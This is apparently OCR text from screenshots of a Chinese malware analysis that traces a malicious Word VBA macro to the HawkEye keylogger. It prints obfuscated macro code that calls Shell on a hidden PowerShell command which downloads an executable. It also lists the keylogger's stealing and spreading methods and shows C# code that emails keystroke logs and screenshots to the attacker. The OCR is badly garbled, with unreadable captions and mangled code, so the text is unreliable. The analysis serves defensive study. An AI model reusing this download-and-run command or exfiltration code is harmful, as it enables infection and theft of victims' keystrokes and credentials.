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Microsoft Visual Basic - Sample [57 B ] - [Moduled (f455)]

* ¥HE S50 NEM BA0 ER0 BEO Eoe IRD SEEsn #§0w S BARERSN AT ~ -8 X
R R EERE N R I R ST I A R R - -
T [ T = fimmvr i

Public Function meshtuna(ydlovjrts)
"brotherdeputyflygoechigmg
442

—-88 Project (Sample) tspaplpvelqdidbn = 4" & ydlowirts & "*"
55 Wicresoft Hord TS I Hot "BISKADgzHihgw’ Like tspsplpveladibby Then

" sugustranenbarhphoph jksprhdtsey
Thi sDecunent 35

= meshtuna = ovirts
fite] h ydlovj
& Wodelal " fEaowebekgbrqe ] anewninwmydr
* 756
[ 31/ nggkfqyecouzor = “babypanel”
festivaltattos = 333
Else
< | & meshtuna = " ]
bfdeszttlazppkintmn = “qsbzzmqzchlyrazaqrn”
B - Modulel hotelring = 825
Rodulel L - :l_;égxfasdqmovespu\
BEBF |y | End If

End Function

Fublic Function dressreform (btzaaglErqetu)
" groceryneckaphdibhse

*Joz

shroddddjfogkamermd = 7
* forgetoutsidezahmyfnyz

bonusgrunt = “dbsytuyoh”
czyatiikep = 052

For upobovpeidliima = 1 To Len(btraaglfrqetu)

shwoddddjfegkamezmd = shwoddddjfegkamezmd & meshtuna Mid(btzaagl frqetw, upobovpeidliima, 1)
dsudpwonybwbwi = “toastiwrn®

dresmsqueeze = 41

Hext

dressreforn = shwodddd]feghamezmd

rblrke”baoqlklolcoas(slde

k)

*ghijirsossibsvylesilingerve
‘51

End Function

K 2.2 ZARIEFEEEREER

0x03: I ArEE, &I T HARIEH A 2 BWHRER Z A7, 22l — MR EREEk, st —
BRI BT A .
T A A

‘mutualrightrarschare
52

53dvhj tagkar djwdy = ~eheavie. Breldhel’ golh Thr TANETtOnOpBKEALTH'
Caminzwmtlanepder] gherpem_ R

© 9Bz — E—
“agrescldgruntreflect
‘gz

awrehykjob = "Hegndkh “BgeKKxvel vz,fggcg AKpSanBAeHrAK;gtheSHBlg Kregfixhwer T-EwE GhEiKdvzdzTeETnaT Te-rnBhorKpg A-Berprv BA'thyvﬁpgzaAs}\sJ' vb\g}lneang( ADKKhK_]ge_ﬁcztBﬂSv
" obemqdzwp frrgrelanentrandon —
TBEZ o

benefitproof = “organtrigger”

branderitie = 436

* dwpdsavgyi vlovhapvi sEplteyblt
‘405

armoroak BK'JEUG?AMGtJ’szJ'pz Iﬂ(fABf'BlI{GgMJ’ Ble'lJ'ﬂB:\ AB3g0A. JJIA](lJ'BIEHJ""gAlzunpKBazstI(cKuKmB/AI(d.]’AaAKtBgagK/ngfJ’H(dBpAsSKlJ’ KengzagK’ Bv, J"KI{%EVTKRESJ’MAPKg?&TTzNzﬂr,
armorosk = awrehykieh i arnorosk —
birprophfalphomy = obeysport _— e —

casinoglow = 578 -

inheritnaive zfng'J'dKBpAsKKlBg Jzegxge
Txyvesrgl dasi riatepkimebens seb ot
*E50

armorosk = dressreform (armoroak & sjdwhjtqgkardjwdy & inheritnaive)
aislebusiness = “pegnlekiyl

wiyypabslopbe = 545

Call Shell (armoroak, 01

ciwdejmgny = “cuberadio”

actrunway = 80

" qniksvmswdaoexchangetrial

1319

armoroak = dressreform (armoroal)
End Sub

K 2.3 AR R

B

Ox04: T i RIXHEE R 45 R AT, BRI FAREE 7 AL RS, REA TR, N
TR S R R 745



FPublic Function dressreformibtzaaglfrgetw)
! zroceryneckaphdibhso
4

shwoddddjfegkamezmd =

" forgetoutsidegabmyfnyz

"155

bomusgrunt = “dbsytuyeh”

csyatiilgp = 952

For upobovpeidliima = 1 Toe Len(btzaagl frgetw)
stwoddddjfogkameznd = sbwoddddjfegkamezmd & meshtuna Mid(btzaaglfrgetw, upobovpeidliima, 1])
dsudpwonybwbwi = “toastturn”

dreamzquesze = 414

Hext

dressreform = sbwoddddjfegkamezmd
“rhirkejjbacqtkicicoastside

1393

‘ghjirsossibsvylesilingnerve
"zl

End Function

K 2.4 IRIER TR

Fublic Function meshtuna(pdlewjrts)
“brotherdeputyflyqoohigmg

a4z
tspsplpwelgdkhbw = “#" & pdlovirts & "x" _
If Hot “BISHATSzzEEMzw"” Like tspsplpwelqdihbw Then B Li ke TR ILAD

" augustrememberhphoph jkspphzdtzey
'35

meshtuna = ydlowvjrts
" ffaowebelkobzqeamews imaxnedr

56

ngqkfayecowor = “habypanal”
festivaltattoo = 338

El=e

meshtuna = 77

bfdeezrttlarppkintmn = “qgb=xmazeblyrgzrgqen”
hatelring = 825
“ujer fasdqmovespin

End If

End Function
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shell £HUT .

aislebusiness = “pegmlghiyhul”
ytyypabslopbe = 548

Tall Shell (armoroak, 00
cindejngny = “cuberadio”

actrunway = 80
* qnfksvmzwdacexchangetriall
‘318

armoroak = dressreform (armoroalk)
= 4 | i
R E]

AT Ji=1 2] LTI
&¢  armorosk “emd. exe /e powershell. exe —w hidden -mop —ep bypass (Hew-Object System. Het.WebClient). DownloadFile (' http: ag Modulel. lawpupil
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Gamvenaq:xehdojki.bin
BIM File Jbcwgbsk, exe
521 KB

Srxoenaonmsiyy., bin
EIM File
1,024 KB
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e L
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"= References

Resources
=

[RIZC3My) M2 7m"HHOE*6F]
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EEE w2l

LT
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Hodule: 7902000 (mscorlib.dll)

Hodule: 002223dc (sortkev.nlp)

Module: 002822050 (=orttbl=s.nlp)

Hodule: 00a02c3c (Jbowgbsk—cleaned. exs)

Hodule: S5e4dc000 (Hicrosoft ¥isualBasic.dll)

Hodule: 7a726000 (Sy=tem.dll)

Hodule: 7b454000 (Svstem.Windows. Forms. dll)

Hodule: 7ae74000 (Sy=tem.Drawing.dll)

Hodule: 64822000 (Svstem.Configuration. dll)

Hodule: 639£3000 (System.Xml . dll)

Hodule: 00a07ae0 (Sy=tem.Runtime Remoting. dll)

Moduls: 011409c0 (IE. Version=0.0.0.0. Culture=neutral. PublicKeyToken=null] —

<

[0-0005 |

K 2.9 SCAFHMT MRS N

0x04: #4 IE FH dump FREAT T, KIS % Gamvenagxehdojki.bin S i2E47 fif 25
AT

Q |l 2 2] c* - B 4
=3 IE(0.0.0.00 A H{71ghoouxclesvx@Banvenagxehdoiki. bin@f@f@sel fR@Nicchmbulmigrmkwhr . dat@@@@T@F@AppData@Zixach]isrhl@ibewgbsk. ksslpjuyh ol ——,

# 9 References
= | Resources

Sl Param
[ (G Resources.resoUrces
=4) -
R o
PEfN#L &%

= s

[OR=}

Ed s

EETETTLIYHR

e Trpes L=

Detived Typss

®

& .ctor() : void
% Decomprassibyte[]) : bytel] s 5k
*§ DeleteFil(string) : bool AR RS

S IE() : woid

=@ main() :
=% _param() i strina

| 4 PolyDeCryptiref bytel], string) s bytel] |

@ mscorlb (2,0.0.0)
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Nffdpsiexe

BEE
v

Ibcwgbsk.exe

BEHmE
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bin
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1

e - v @

Foldersinstall(y : void
ForcesteamLogin) : void

GetActiveWindowTitle() : string
GetAntivirus() : string
GetBetween(string, string, string) : sh
GetExternallP() : string

GetFirewall() : string

GetInternallP() : string

Hookkeyboard() : vaid

IsComnectedTalnternet() : bool
KeyboardCallbackiint, int, ref Form1 K]
Minecraftsub() : void

olddesde(string, string) : string
Fins() : void

runibyte(]) : void
seckanddestroyistring) : void

SendLogsFTR() : void
SendLogsPHP() : void
Serverlnstallt) : void

Spread() : void
skartstealerst) : void
stealMail) : void
stealWebroswers() : void

RovooBooooooelPoooelUeoVoeVBoebUcYUeoooUeLob ool

L2

[

/7 Phulli.Forml
public void SendLogs()

while (true)

Thread.Sleep(Conversions.ToInteger(this.timerstring));
bool flag = |string.IshullorEmpty(this.Keylog.Trim()) && this.IsConnectedToInternet();

if (flag)
{

string keylog = this.KeyLog;
lock (keylog)
{

string clog = thi
lock (cLo

HawkEye(l] = ZE )&t

MailMessage mailMessage = new MailMessage();
smtpClient smtpClient = new SmtpClient(this.smtpstring);
mailMessage.From = new MailAddress(this.emailstring);
mailMessage.To.Add(this.emailstring);

mailMessage.Subject = "HawkEye Keylogger | Keyleg Records | " + MyPreject.Computer.Mame + " | " + this.HWID(
maildessage.Body = " \rin
flag - (Operators.CompareString(this.screeny, "Disablescreeny”, false) != 8);
if (flag)
{

bool flag2 = !Directory.Exists(Path.GetTempPath() + “screens”);

if (flag2)
{
Directory.CreateDirectory(Path.GetTempPath() + "screens”);

Size blockRegionSize = new Size(MyProject.Computer.Screen.Bounds.width, MyPreject.Computer.Screen.Bounds
Bitmap bitmap = new Bitmap(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Heig
Graphics graphics = Graphics.FromImage(bitmap);

Graphics arg 1C1 @ = graphics;

Point point = new Point(e, @);

Point arg 1C1 1 = point;

Point upperLeftDestination = new Point(@, @);

arg_1C1_B.CopyFromScreen(arg 1C1_1, upperLeftDestination, blockRegionSize);
bitmap.5ave(Path.GetTempPath() + "screens\\screenshot” + Conversiens.ToString(this.screenynumber) + ".5p
mailMessage. Attachments.Add(new Attachment(Path.GetTempPath() + "screens\\screenshot” + Conversions.ToSt
this. screenynumber++;
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[ctrl] v[/ctrl]
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548

CreateProcess: CAWINDOWS\system32\WindowsPowerShellw1.0\powershell.exe
xe

v EEWITISE powershel S miasm Akhhok

PID HiER HRER
15 CAWINDOWS\system32\cmd.e CommandLine: powershell.exe -w hidden -nop -ep bypass (new-object system.net.webclient).downloadfile('htt
xe P/ /nffdpsiexe’, c\docume~1\admini~1\locals~1\temp\nffdpsi.exe’)
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